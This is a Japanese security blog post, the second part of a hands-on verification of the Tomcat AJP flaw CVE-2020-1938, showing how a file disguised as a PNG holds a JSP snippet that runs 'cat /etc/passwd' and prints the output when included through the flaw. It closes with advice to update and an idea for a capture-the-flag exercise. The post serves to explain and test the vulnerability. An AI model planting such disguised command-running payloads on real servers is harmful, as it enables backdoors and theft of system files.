CVE-2020-1938の検証をやってみた-その2コマンド実行の検証

セキュリティ

前回の以下のCVE-2020-1938の記事がそこそこ気になっている人がいたので続けて投稿します。

CVE-2020-1938の検証をやってみた

今回はコマンドの実行を検証してみたいと思います。

なお、該当の脆弱性のみではコマンド実行できないので、こういった形なら出来そう!といったものになりますので、予めご了承ください。

また、悪用厳禁であり、この記事についても悪用を促すわけではございませんのでご理解ください。

準備

前回脆弱性のある環境を作成しているので、ファイルを作成するのみです。

 

# nano ghostcat.png
#ghostcat.png(画像ファイル)というファイルを作成

ファイルの内容については以下のようにします。

<%
java.io.InputStream in = Runtime.getRuntime().exec("cat /etc/passwd").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>

「exex()」の個所で動かしたいコマンドを入力しています。

このファイルを作成しても、.pngとなっているので、ブラウザからアクセスしても以下のようになるだけです。

 

脆弱性の検証

さて上記で作成したファイルに対して前回と同様にPoCでアクセスしてみましょう!

すると以下のように「/etc/passwd」の中身が表示されました。

以下の画像を見てもらえばわかるとおり脆弱性を使用してアクセスしているのは先ほど作成した「ghostcat.png」です。

AJPの脆弱性をついてファイルにアクセスした際はファイル内容をjspとして取り扱ってくれるのでこういった現象が発生しています。

もちろんCVE-2020-1938のみではコマンドの実行を行うことはできない(私が調べた限りでは)ですが、ファイルアップロードの問題をついた場合等にコマンド実行までできる可能性があるということです。

ファイルアップロードについては仕事(脆弱性診断関係)をしているとちょこちょこあるのが、拡張子のチェックをしてはいるが、ファイルの中身を見ていないという問題です。

そういった場合、先ほどのような偽造画像ファイルをアップロードされることによる、画像の拡張子を使用しているが実はバックドアなんてことが発生する可能性があるかもしれません。

また、検証はやっていませんが、cms等でlogファイル等が公開領域に保存される場合にも同様の事象が発生する可能性があるのではないでしょうか。

まとめ

前回の検証に引き続き、特定の条件下ではコマンド実行まで行うことができることを確認しました。

該当の脆弱性については個人的には攻撃に有効利用されそうな脆弱性だと思っています。

画像ファイルは画像フォルダに埋もれていると発見される可能性も下がってくるので、今回のような事象が今後出てくるかもしれません。

適切にアップデート等の対応を行うことを推奨します。

また、違う方向から考えてみると、CTF等の問題にも使えそうな気がしてます。

以下はシナリオ例です。

①画像のアップロード機能を作る(チェックは拡張子のみ)

②AJPのポートを開けておく

③脆弱性を使用してフラグGET

また、できそうな脆弱性の検証があった際はやってみたいと思います。(お金がかかる製品系じゃなかったら・・・)

不明点や要望やこういったこともやって欲しいとの要望があれば、お問い合わせページやコメント、ツイッターからでも結構ですので、気軽にご連絡ください。

コメント